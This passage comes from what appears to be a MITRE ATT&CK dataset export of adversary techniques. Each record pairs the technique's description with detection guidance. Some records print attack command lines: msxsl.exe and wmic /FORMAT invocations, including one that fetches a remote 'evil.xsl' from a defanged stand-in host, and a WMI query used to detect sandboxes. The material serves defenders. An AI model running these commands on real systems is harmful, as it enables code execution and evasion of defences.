be done using the Win32 DeviceIOControl function. \n\nExample VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)\n\n* <code>HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions</code>\n* <code>HKLM\\HARDWARE\\Description\\System\\”SystemBiosVersion”;”VMWARE”</code>\n* <code>HKLM\\HARDWARE\\ACPI\\DSDT\\BOX_</code>\n\nExample VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)\n\n* <code>WINDOWS\\system32\\drivers\\vmmouse.sys</code> \n* <code>WINDOWS\\system32\\vboxhook.dll</code>\n* <code>Windows\\system32\\vboxdisp.dll</code>\n\nCommon checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)\n\n###User Activity Discovery###\n\nAdversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it’s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).\n\n###Virtual Hardware Fingerprinting Discovery###\n\nAdversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query <code>$q = “Select * from Win32_Fan” Get-WmiObject -Query $q</code>. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Virtualization/Sandbox Evasion", modified:"2019-09-26T16:23:59.726Z", kill_chain_phases:["48ec5181-9a14-4715-8b33-6d3c4ef218da", "0e7b19cd-f175-43a6-8cfd-af6b9ac7a23b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", external_references:["e914e631-38af-4000-b120-1620766054f9", "961303e9-5d1b-4710-8fc2-2d5a64673ed9", "90f40638-6a8b-4938-a8ed-a5ef7cf6bde0", "9c03bf3c-8f7b-4586-bcdf-eb9493e73b51", "46900e45-d2b2-4a1c-a57d-b777dbbdb5cb", "87727fea-57ae-457d-b522-27a530824872", "21cfaaf7-e714-4dd7-96f2-58c13990d6f5"]}}, {_id:1830, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:00.200Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process use of network\",\"Authentication logs\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)\",\"x_mitre_permissions_required\":[\"Administrator\"],\"x_mitre_system_requirements\":[\"File and printer sharing over SMB enabled.\\nHost/network firewalls not blocking SMB ports between source and destination.\\nUse of domain account in administrator group on remote system or default system admin account.\"]}", description:"Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Windows Admin Shares", modified:"2019-10-15T18:45:27.715Z", kill_chain_phases:["049e65aa-f67b-4b82-ae70-c5190d77e975"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", external_references:["e95a067d-6268-45ba-a58e-37aa62414b7e", "83006e37-ad82-4c0f-a625-caf411a08f0b", "c1f712a4-7c4e-47e7-bef0-01a099a46012", "5a90d277-0d4e-4569-a628-c8a95a82c3a0", "246e7db0-ec2b-419d-8ae0-a682512796be", "2918cd7d-4a47-4968-a97f-e3fb438d8e02", "aec3d8a9-ec48-4245-beaf-90494c49cd50", "5d6862da-8066-48c9-9a66-a1669f9a5ebb", "297c2e68-b447-49ab-8a80-9e15292bce3a"]}}, {_id:1841, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:44.329Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Authentication logs\",\"Netflow/Enclave netflow\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \\\"wmic\\\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_remote_support\":true,\"x_mitre_system_requirements\":[\"WMI service, winmgmt, running.\\nHost/network firewalls allowing SMB and WMI ports from source to destination.\\nSMB authentication.\"]}", description:"Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Windows Management Instrumentation", modified:"2019-07-17T20:04:40.297Z", kill_chain_phases:["c441a79d-d507-4dc9-82c1-1ecb3dc827e0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", external_references:["8abb1b80-a7f5-4233-a16e-9bcbd9124806", "191cc650-a40c-4ae7-91cf-413176631aaa", "2450d5e0-0fd1-4cbc-88dc-32aa107ddce3", "7f79f1b0-c488-4df1-935b-7584d3c98fc8", "05e3492a-b574-4090-b14a-a327561ed2f9"]}}, {_id:1848, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:05.140Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"WMI Objects\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Windows Management Instrumentation Event Subscription", modified:"2019-10-15T18:43:47.703Z", kill_chain_phases:["90fda210-8687-4f9d-b683-90cfeeb1f7a3"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", external_references:["f6864a60-4d40-40f6-a937-3d38db0c0e18", "07368166-5f88-4e4d-a6aa-9a4e7e048847", "e900da95-ddcf-40a5-851a-d44409c02eba", "553f6221-6539-4f4b-a690-65ffebbe2649", "e0906c01-8fce-4619-b2f1-73a461f08225", "c21ab0a5-f783-4d0c-a824-087bf2ca9a0d"]}}, {_id:1870, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\",\"Process use of network\",\"DLL monitoring\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Application whitelisting\",\"Digital Certificate Validation\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\\n\\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\",\"x_mitre_contributors\":[\"Avneet Singh\",\"Casey Smith\",\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false,\"x_mitre_system_requirements\":[\"Microsoft Core XML Services (MSXML) or access to wmic.exe\"]}", description:"Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"XSL Script Processing", modified:"2019-09-12T17:29:15.626Z", kill_chain_phases:["c1140062-45fa-450d-808d-3d9058080b39", "9f9b6b8b-ab2c-447b-ae7a-8ca708f8f03a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", external_references:["33874e39-4011-49a0-b930-d1e7e8afd480", "58021769-3030-40ba-b293-a312d0f9f757", "ce47b6b4-f76d-4a9d-8bf8-7dbec3b060a1", "ca070a54-2342-47f6-98db-c557795a9b5f", "b9bdb4d5-756d-49eb-af19-266592c2fdc9", "a6896b84-dfa3-45d5-b24a-d6f65992946a", "af9edf46-65bd-4663-a731-a9a7b0884bbd", "7528bd93-4777-4c24-8021-f7cdc9c2ea19"]}}, {_id:548, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:25.454Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Office 365\"],\"x_mitre_data_sources\":[\"Office 365 trace logs\",\"Mail server\",\"Email gateway\",\"Authentication logs\",\"File monitoring\",\"Process monitoring\",\"Process use of network\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n\\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\\n\\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\",\"x_mitre_contributors\":[\"Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017)\n\n### Email Forwarding Rule\n\nAdversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Email Collection", modified:"2019-10-08T20:59:13.652Z", kill_chain_phases:["6241ce28-cca8-43d7-a1df-80f05ee81615"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", external_references:["1d7a7f10-3a6c-4cd3-9876-d99fa79937fc", "e5f38fc4-9d20-43c6-ba50-ec45f09ddac7", "edcca973-07bb-477e-bdd9-5b3f8275a5e4", "ad40cf9b-24bd-470a-b183-f7864ac54783", "ced4fd6d-5056-4fb9-9c0f-7a186b199e23"]}}, {_id:541, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-08-08T14:29:37.108Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_effective_permissions\":[\"root\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\",\"x_mitre_contributors\":[\"Erika Noerenberg, @gutterchurl, Carbon Black\",\"Jimmy Astle, @AstleJimmy, Carbon Black\"],\"x_mitre_permissions_required\":[\"Administrator\",\"User\"]}", description:"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Elevated Execution with Prompt", modified:"2019-09-17T15:16:01.415Z", kill_chain_phases:["55809e86-337b-444f-8020-baa09738ee41"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", external_references:["61c6871b-c479-432c-ab87-145fe345c37f", "bf96b229-8839-4c11-879b-f702ef457364", "5e35e4cd-fe2b-4c92-83fd-625a3d6f16b2", "ec680ce1-9aa5-4f96-aae3-6cb4d923097d", "cbaf9de4-4b89-4911-8992-4124aa422a63"]}}, {_id:581, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-31T02:10:08.261Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Host forensic analysis\",\"Signature-based detection\",\"Static File Analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting the action of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\",\"x_mitre_contributors\":[\"Nick Carr, FireEye\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. \n\nGuardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nEnvironmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Execution Guardrails", modified:"2019-07-19T14:59:44.034Z", kill_chain_phases:["9778ca21-4991-4998-8776-7418aa7fd0f0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", external_references:["174e3019-a90b-4598-81a8-36b7dba81234", "3eec7cfb-692f-4a8d-a483-da8da6d8757b", "d54dc6da-fa03-4b78-9bbd-146b1fc0c3eb", "3a106000-1918-4113-b0e8-542c2e0d7b96", "695fc7ea-c1a6-4889-9d99-cc0fcc5dc3fa", "09b6b96d-63d4-46ad-9f87-519ee1f6c8d6", "ca336936-ddae-4729-96f4-6dc7181dee8d", "4b40efc5-c530-48f5-acbe-9ebd43ccb36d", "8f4d9085-9aaf-4312-8008-a17a68df821e"]}}, {_id:555, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-19T14:07:11.734Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.\",\"x_mitre_contributors\":[\"Ivan Sinyakov\"],\"x_mitre_permissions_required\":[\"Administrator\"]}", description:"Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Emond", modified:"2019-10-16T21:50:02.245Z", kill_chain_phases:["a9b6a420-808d-48e3-aee3-32d9520f06fa", "5aa82798-b351-4711-9770-3b9335225999"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", external_references:["82eff5b2-2a4b-40b4-94ed-af645c9b03b3", "6279b150-094e-4f6d-84b8-201a0cf2de63", "47f4deab-1154-4408-85e9-66d12c7c2b1a", "26835c5c-ffee-4b21-b7da-737fb94d63f0"]}}, {_id:562, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-18T11:00:55.862Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"SSL/TLS inspection\",\"Web logs\",\"Web application firewall logs\",\"Network intrusion detection system\",\"Network protocol analysis\",\"Network device logs\",\"Netflow/Enclave netflow\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n\\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\\n\\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.\"}", description:"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\n### OS Exhaustion Flood\nSince operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n#### SYN Flood\nWith SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\n#### ACK Flood\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP 